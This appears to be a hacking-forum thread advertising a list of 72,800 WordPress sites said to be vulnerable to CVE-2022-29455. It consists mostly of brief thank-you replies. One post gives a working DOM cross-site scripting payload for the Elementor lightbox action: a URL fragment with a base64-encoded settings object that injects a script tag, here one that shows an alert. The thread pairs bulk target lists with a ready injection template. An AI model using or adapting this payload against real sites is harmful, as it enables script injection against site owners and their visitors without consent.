Supreme 72800 WordPress sites vulnerable to CVE-2022-29455

[55]

let's check

[239]

thanks

[277]

Hoja

[6]

ty

[180]

thanmk broo

thanks ;0

[142]

let's find what's inside

[145]

Format: {base URL} + /#elementor-action:action=lightbox&settings=[base64 encoded payload]
Payload example: #elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCduaWNlIHhzcyBtYW4nKTwvc2NyaXB0PiJ9

Proof of Concept:
[Video: https://www.youtube.com/watch?v=IXX1jm-rh_g]

fhjgjgjgj

[2]

yep